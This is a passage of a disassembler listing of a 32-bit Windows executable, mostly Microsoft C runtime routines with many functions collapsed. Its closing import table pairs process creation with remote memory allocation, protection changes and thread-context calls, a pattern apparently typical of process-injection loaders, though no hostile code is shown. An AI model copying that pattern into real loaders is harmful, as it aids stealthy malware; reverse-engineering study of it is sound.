COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __heap_term: cmp dword_444C14, 3 jnz short loc_40216C push ebx xor ebx, ebx cmp dword_444BF8, ebx push ebp mov ebp, ds:HeapFree jle short loc_40215A push esi mov esi, lpMem push edi mov edi, ds:VirtualFree add esi, 0Ch loc_402126: ; CODE XREF: .text:00402156j push 4000h push 100000h push dword ptr [esi] call edi ; VirtualFree push 8000h push 0 push dword ptr [esi] call edi ; VirtualFree push dword ptr [esi+4] push 0 push hHeap call ebp ; HeapFree add esi, 14h inc ebx cmp ebx, dword_444BF8 jl short loc_402126 pop edi pop esi loc_40215A: ; CODE XREF: .text:00402113j push lpMem push 0 push hHeap call ebp ; HeapFree pop ebp pop ebx loc_40216C: ; CODE XREF: .text:00402101j push hHeap call ds:HeapDestroy ; HeapDestroy retn ; --------------------------------------------------------------------------- mov eax, hHeap retn ; [00000015 BYTES: COLLAPSED FUNCTION __get_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___sbh_heapmin: mov eax, dword_444BF4 test eax, eax jz locret_402A8B mov ecx, dword_444C0C push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] push 8000h push ecx call ds:VirtualFree ; VirtualFree mov ecx, dword_444C0C mov eax, dword_444BF4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_444BF4 mov eax, [eax+10h] mov ecx, dword_444C0C and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_444BF4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_444BF4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_402A32 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_444BF4 loc_402A32: ; CODE XREF: .text:00402A27j cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_402A84 cmp dword_444BF8, 1 jle short loc_402A84 push dword ptr [eax+10h] push 0 push hHeap call ds:HeapFree mov eax, dword_444BF8 mov edx, lpMem lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_444BF4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call _memcpy_0 add esp, 0Ch dec dword_444BF8 loc_402A84: ; CODE XREF: .text:00402A36j ; .text:00402A3Fj and dword_444BF4, 0 locret_402A8B: ; CODE XREF: .text:004029C2j retn ; [00000319 BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_444660 mov dword_444660, ecx retn ; --------------------------------------------------------------------------- mov eax, dword_444660 retn ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cropzeros: ; DATA XREF: __cfltcvt_init+Ao mov eax, [esp+4] push ebx mov bl, byte_40A1B4 jmp short loc_403197 ; --------------------------------------------------------------------------- loc_403192: ; CODE XREF: .text:0040319Bj cmp cl, bl jz short loc_40319D inc eax loc_403197: ; CODE XREF: .text:00403190j mov cl, [eax] test cl, cl jnz short loc_403192 loc_40319D: ; CODE XREF: .text:00403194j mov cl, [eax] inc eax test cl, cl jz short loc_4031CE jmp short loc_4031B1 ; --------------------------------------------------------------------------- loc_4031A6: ; CODE XREF: .text:004031B5j cmp cl, 65h jz short loc_4031B7 cmp cl, 45h jz short loc_4031B7 inc eax loc_4031B1: ; CODE XREF: .text:004031A4j mov cl, [eax] test cl, cl jnz short loc_4031A6 loc_4031B7: ; CODE XREF: .text:004031A9j ; .text:004031AEj mov edx, eax loc_4031B9: ; CODE XREF: .text:004031BDj dec eax cmp byte ptr [eax], 30h jz short loc_4031B9 cmp [eax], bl jnz short loc_4031C4 dec eax loc_4031C4: ; CODE XREF: .text:004031C1j ; .text:004031CCj mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_4031C4 loc_4031CE: ; CODE XREF: .text:004031A2j pop ebx retn ; --------------------------------------------------------------------------- __positive: ; DATA XREF: __cfltcvt_init+28o mov eax, [esp+4] fld qword ptr [eax] fcomp ds:dbl_408408 fnstsw ax test ah, 1 jnz short loc_4031E7 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4031E7: ; CODE XREF: .text:004031E1j xor eax, eax retn ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [000000F1 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cftoe_g: push dword ptr [esp+10h] mov byte_44466C, 1 push dword ptr [esp+10h] push dword ptr [esp+10h] push dword ptr [esp+10h] call __cftoe add esp, 10h mov byte_44466C, 0 retn ; [000000DD BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __cftof_g: push dword ptr [esp+0Ch] mov byte_44466C, 1 push dword ptr [esp+0Ch] push dword ptr [esp+0Ch] call __cftof add esp, 0Ch mov byte_44466C, 0 retn ; [000000AA BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; --------------------------------------------------------------------------- __initterm: push esi mov esi, eax jmp short loc_403613 ; --------------------------------------------------------------------------- loc_403608: ; CODE XREF: .text:00403617j mov eax, [esi] test eax, eax jz short loc_403610 call eax loc_403610: ; CODE XREF: .text:0040360Cj add esi, 4 loc_403613: ; CODE XREF: .text:00403606j cmp esi, [esp+8] jb short loc_403608 pop esi retn ; --------------------------------------------------------------------------- __initterm_e: push esi mov esi, eax xor eax, eax jmp short loc_403631 ; --------------------------------------------------------------------------- loc_403622: ; CODE XREF: .text:00403635j test eax, eax jnz short loc_403637 mov ecx, [esi] test ecx, ecx jz short loc_40362E call ecx loc_40362E: ; CODE XREF: .text:0040362Aj add esi, 4 loc_403631: ; CODE XREF: .text:00403620j cmp esi, [esp+8] jb short loc_403622 loc_403637: ; CODE XREF: .text:00403624j pop esi retn ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __GET_RTERRMSG: mov ecx, [esp+4] xor eax, eax loc_403921: ; CODE XREF: .text:0040392Ej cmp ecx, dword_40A088[eax*8] jz short loc_403930 inc eax cmp eax, 13h jb short loc_403921 loc_403930: ; CODE XREF: .text:00403928j shl eax, 3 cmp ecx, dword_40A088[eax] jnz short loc_403942 mov eax, off_40A08C[eax] retn ; --------------------------------------------------------------------------- loc_403942: ; CODE XREF: .text:00403939j xor eax, eax retn ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _xcptlookup: mov ecx, dword_40A1A0 mov eax, offset dword_40A120 push esi loc_40398A: ; CODE XREF: .text:0040399Dj cmp [eax], edx jz short loc_40399F lea esi, [ecx+ecx*2] add eax, 0Ch lea esi, ds:40A120h[esi*4] cmp eax, esi jb short loc_40398A loc_40399F: ; CODE XREF: .text:0040398Cj lea ecx, [ecx+ecx*2] lea ecx, ds:40A120h[ecx*4] cmp eax, ecx pop esi jnb short loc_4039B2 cmp [eax], edx jz short locret_4039B4 loc_4039B2: ; CODE XREF: .text:004039ACj xor eax, eax locret_4039B4: ; CODE XREF: .text:004039B0j retn ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___CppXcptFilter: mov eax, 0E06D7363h cmp [esp+4], eax jnz short loc_403B3E push dword ptr [esp+8] push eax call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_403B3E: ; CODE XREF: .text:00403B2Fj xor eax, eax retn ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __ioterm: push esi mov esi, offset dword_444AE0 loc_404146: ; CODE XREF: .text:0040415Fj mov eax, [esi] test eax, eax jz short loc_404156 push eax call _free and dword ptr [esi], 0 pop ecx loc_404156: ; CODE XREF: .text:0040414Aj add esi, 4 cmp esi, offset dword_444BE0 jl short loc_404146 pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404163 proc near ; CODE XREF: start:loc_401FA6p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_408880 call __SEH_prolog mov [ebp+var_1C], offset dword_40909C loc_404176: ; CODE XREF: sub_404163+3Cj cmp [ebp+var_1C], offset dword_40909C jnb short loc_4041A1 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_404197 call eax jmp short loc_404197 ; --------------------------------------------------------------------------- loc_404190: ; DATA XREF: .rdata:stru_408880o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_404194: ; DATA XREF: .rdata:stru_408880o mov esp, [ebp+ms_exc.old_esp] loc_404197: ; CODE XREF: sub_404163+27j ; sub_404163+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_404176 ; --------------------------------------------------------------------------- loc_4041A1: ; CODE XREF: sub_404163+1Aj call __SEH_epilog retn sub_404163 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __cdecl sub_4041A7() sub_4041A7 proc near ; DATA XREF: __cinit:loc_403674o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_408890 call __SEH_prolog mov [ebp+var_1C], offset dword_4090A4 loc_4041BA: ; CODE XREF: sub_4041A7+3Cj cmp [ebp+var_1C], offset dword_4090A4 jnb short loc_4041E5 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4041DB call eax jmp short loc_4041DB ; --------------------------------------------------------------------------- loc_4041D4: ; DATA XREF: .rdata:stru_408890o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4041D8: ; DATA XREF: .rdata:stru_408890o mov esp, [ebp+ms_exc.old_esp] loc_4041DB: ; CODE XREF: sub_4041A7+27j ; sub_4041A7+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4041BA ; --------------------------------------------------------------------------- loc_4041E5: ; CODE XREF: sub_4041A7+1Aj call __SEH_epilog retn sub_4041A7 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, off_40A1C0 retn ; --------------------------------------------------------------------------- mov eax, off_40A1BC retn ; --------------------------------------------------------------------------- __chvalidator: mov eax, [esp+4] mov ecx, off_40A1BC movzx eax, word ptr [ecx+eax*2] and eax, [esp+8] retn ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000008 BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND] ; [000000D5 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [00000032 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [0000004D BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [00000072 BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __FillZeroMan: push edi mov edi, [esp+8] xor eax, eax stosd stosd stosd pop edi retn ; [00000019 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_404B4B proc near ; CODE XREF: sub_404BF3+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_40A1C4 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_404B4B endp ; =============== S U B R O U T I N E ======================================= sub_404B61 proc near ; CODE XREF: sub_404C6E+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_40A1DC push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_404B61 endp ; [0000007C BYTES: COLLAPSED FUNCTION __ld12told. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BF3 proc near ; CODE XREF: __fassign+12p var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_40A200 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_404B4B mov ecx, [ebp+var_4] add esp, 24h call sub_405545 leave retn sub_404BF3 endp ; [0000003E BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C6E proc near ; CODE XREF: __fassign+2Dp var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_40A200 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_404B61 mov ecx, [ebp+var_4] add esp, 24h call sub_405545 leave retn sub_404C6E endp ; --------------------------------------------------------------------------- align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [000000BA BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; [00000074 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __statusfp. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND] ; [00000032 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405545. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_405531 proc near ; DATA XREF: .rdata:stru_408E18o xor eax, eax inc eax retn sub_405531 endp ; =============== S U B R O U T I N E ======================================= sub_405535 proc near ; DATA XREF: .rdata:stru_408E18o mov esp, [ebp-18h] sub_405535 endp ; sp-analysis failed ; [0000000C BYTES: COLLAPSED CHUNK OF FUNCTION sub_405545. PRESS KEYPAD "+" TO EXPAND] db 0CCh ; [0000000E BYTES: COLLAPSED FUNCTION sub_405545. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 push 0 push dword ptr [esp+0Ch] call _x_ismbbtype add esp, 0Ch retn ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _getSystemCP: and dword_44481C, 0 cmp eax, 0FFFFFFFEh jnz short loc_40567F mov dword_44481C, 1 jmp ds:GetOEMCP ; --------------------------------------------------------------------------- loc_40567F: ; CODE XREF: .text:0040566Dj cmp eax, 0FFFFFFFDh jnz short loc_405694 mov dword_44481C, 1 jmp ds:GetACP ; --------------------------------------------------------------------------- loc_405694: ; CODE XREF: .text:00405682j cmp eax, 0FFFFFFFCh jnz short locret_4056A8 mov eax, dword_444888 mov dword_44481C, 1 locret_4056A8: ; CODE XREF: .text:00405697j retn ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_40A300 jmp short loc_405BBC ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- _strncnt: mov ecx, [esp+4] test ecx, ecx jz short loc_405FC0 loc_405FB5: ; CODE XREF: .text:00405FBEj dec ecx cmp byte ptr [eax], 0 jz short loc_405FC1 inc eax test ecx, ecx jnz short loc_405FB5 loc_405FC0: ; CODE XREF: .text:00405FB3j dec ecx loc_405FC1: ; CODE XREF: .text:00405FB9j mov eax, [esp+4] sub eax, ecx dec eax retn ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [00000457 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_406994 dd offset loc_4065A9 ; DATA XREF: ___strgtold12+65r dd offset loc_4065F9 ; jump table for switch statement dd offset loc_406644 dd offset loc_40666E dd offset loc_4066C7 dd offset loc_40673C dd offset loc_40676C dd offset loc_4067B6 dd offset loc_406795 dd offset loc_406818 dd offset loc_40680A dd offset loc_4067D6 ; [0000004C BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND] ; [0000028E BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] align 2 mov ecx, [esp+4] mov eax, dword_444894 mov dword_444894, ecx retn ; --------------------------------------------------------------------------- ___buffer_overrun: push 0 push 1 call ___security_error_handler ; --------------------------------------------------------------------------- pop ecx pop ecx retn ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [00000232 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [00000086 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp _atol ; [00000079 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:FreeLibrary ; --------------------------------------------------------------------------- jmp ds:GetProcAddress ; --------------------------------------------------------------------------- jmp ds:LoadLibraryA ; --------------------------------------------------------------------------- jmp ds:VirtualQueryEx ; --------------------------------------------------------------------------- jmp ds:ReadProcessMemory ; --------------------------------------------------------------------------- jmp ds:GetThreadContext ; --------------------------------------------------------------------------- jmp ds:CreateProcessA ; --------------------------------------------------------------------------- jmp ds:GetModuleHandleA ; --------------------------------------------------------------------------- jmp ds:VirtualProtectEx ; --------------------------------------------------------------------------- jmp ds:VirtualAllocEx ; --------------------------------------------------------------------------- jmp ds:ResumeThread ; --------------------------------------------------------------------------- jmp ds:ReadFile ; --------------------------------------------------------------------------- jmp ds:GetFileSize ; --------------------------------------------------------------------------- jmp ds:CreateFileA ; --------------------------------------------------------------------------- jmp ds:SetFileAttributesA ; --------------------------------------------------------------------------- jmp ds:GetModuleFileNameA ; --------------------------------------------------------------------------- jmp ds:HeapAlloc ; --------------------------------------------------------------------------- jmp ds:GetStartupInfoA ; --------------------------------------------------------------------------- jmp ds:GetCommandLineA ; --------------------------------------------------------------------------- jmp ds:GetVersionExA ; --------------------------------------------------------------------------- jmp ds:HeapDestroy ; --------------------------------------------------------------------------- jmp ds:HeapCreate ; --------------------------------------------------------------------------- jmp ds:VirtualFree ; --------------------------------------------------------------------------- jmp ds:HeapFree ; --------------------------------------------------------------------------- jmp ds:VirtualAlloc ; --------------------------------------------------------------------------- jmp ds:HeapReAlloc ; --------------------------------------------------------------------------- jmp ds:IsBadWritePtr ; --------------------------------------------------------------------------- jmp ds:ExitProcess ; --------------------------------------------------------------------------- jmp ds:TerminateProcess ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcess ; --------------------------------------------------------------------------- jmp ds:WriteFile ; --------------------------------------------------------------------------- jmp ds:GetStdHandle ; --------------------------------------------------------------------------- jmp ds:UnhandledExceptionFilter ; --------------------------------------------------------------------------- jmp ds:FreeEnvironmentStringsA ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStrings ; --------------------------------------------------------------------------- jmp 